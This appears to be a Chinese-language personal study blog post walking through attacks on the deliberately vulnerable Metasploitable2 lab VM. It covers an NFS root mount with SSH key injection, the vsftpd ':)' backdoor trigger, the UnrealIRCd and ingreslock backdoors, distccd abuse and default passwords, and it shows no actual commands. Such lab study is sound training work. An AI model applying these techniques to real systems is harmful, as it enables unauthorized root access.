使用ifconfig查看IP地址，得到IP为192.168.111.146
关于kali的话我使用的是win10中的kali，需要安装很多的工具和库，希望做过这写test可以让我的WinKali有个完整的工具系统
在使用子系统时nmap是无法正常工作的，查询得知和子系统使用套接字有关，待问题解决可使用子系统再玩一遍
下面结果是kali虚拟机的结果
使用nmap进行扫描

这很简单。我们应该关注的下一个服务是网络文件系统（NFS）。可以通过直接探测端口2049或向端口映射器询问服务列表来识别NFS。以下示例rpcinfo用于标识NFS并showmount -e确定正在导出“/”共享（文件系统的根目录）。您需要跟随rpcbind和nfs-common Ubuntu软件包。
需要安装rpcbind和nfs-common

使用像这样的可写文件系统访问系统是微不足道的。为此（并且因为SSH正在运行），我们将在攻击系统上生成新的SSH密钥，挂载NFS导出，并将我们的密钥添加到root用户帐户的authorized_keys文件中：

在端口21上，Metasploitable2运行vsftpd，一个流行的FTP服务器。这个特定的版本包含一个后门，由一个未知的入侵者插入到源代码中。后门被迅速识别并删除，但不是在很多人下载之前。如果发送的用户名以序列:)[愉快的面孔]结束，则后门版本将在端口6200上打开侦听shell。我们可以使用telnet演示或使用Metasploit Framework模块自动利用它：
#自己做的步骤太乱只有用官方的了。好神奇

在端口6667上，Metasploitable2运行UnreaIRCD IRC守护程序。这个版本包含一个几个月未被注意到的后门- 通过在任何侦听端口上向系统命令发送字母“AB”来触发。Metasploit有一个模块可以利用它来获得交互式shell，如下所示。

不那么微妙的是旧的备用“ingreslock”后门正在侦听端口1524.十年前，ingreslock端口是一个受欢迎的选择，用于为受感染的服务器添加后门。访问它很容易：

除了上一节中的恶意后门之外，一些服务本质上几乎是后门。安装在Metasploitable2上的第一个是distccd。该程序可以轻松地在类似配置的系统的服务器场中扩展大型编译器作业。此服务的问题在于攻击者可以轻易地滥用它来运行他们选择的命令，如下面的Metasploit模块使用所示。

#惊喜!!!
除了更明显的后门和错误配置之外，Metasploitable 2还为系统和数据库服务器帐户提供了可怕的密码安全性。主管理用户msfadmin具有与用户名匹配的密码。通过发现此系统上的用户列表，通过使用另一个缺陷来捕获passwd文件，或通过Samba枚举这些用户ID，可以使用暴力攻击来快速访问多个用户帐户。系统上至少配置了以下弱系统帐户。
| 用户 | 密码 |
|---|---|
| msfadmin | msfadmin |
| user | user |
| postgres | postgres |
| sys | batman |
| klog | 123456789 |
| servic | service |
除了这些系统级帐户，还可以使用用户名postgres和密码访问PostgreSQL服务postgres，而root使用空密码打开MySQL服务的用户名。VNC服务使用密码提供远程桌面访问password。
Metasploitable 2预先安装了故意易受攻击的Web应用程序。引导Metasploitable 2时，Web服务器自动启动。要访问Web应用程序，请打开Web浏览器并输入URL http://
盗个图
有个知识点：
192.168.56 / 24是Virtual Box中默认的“仅主机”网络。IP地址从“101”开始分配。根据客户机操作系统的启动顺序，Metasploitable 2的IP地址会有所不同。
要访问特定的Web应用程序，请单击提供的其中一个链接。通过将应用程序目录名称附加http://
Mutillidae Web应用程序（NOWASP（Mutillidae））包含来自OWASP Top Ten的所有漏洞以及许多其他漏洞，例如HTML-5 Web存储，表单缓存和点击控制。受DVWA的启发，Mutillidae允许用户将“安全级别”从0（完全不安全）更改为5（安全）。此外，还提供了三个级别的提示，范围从“0级 - 我更努力”（无提示）到“2级 - noob”（最大提示）。如果应用程序被用户注入和黑客攻击损坏，单击“重置数据库”按钮会将应用程序重置为其原始状态。
这个应用程序包含的漏洞真多，够大家学习了。。。
学习使我快乐！！！
来自DVWA主页：“该死的易受攻击的Web应用程序（DVWA）是一个易受攻击的PHP / MySQL Web应用程序。它的主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具，帮助Web开发人员更好地了解保护Web应用程序的过程，并帮助教师/学生在课堂环境中教授/学习Web应用程序安全性。“
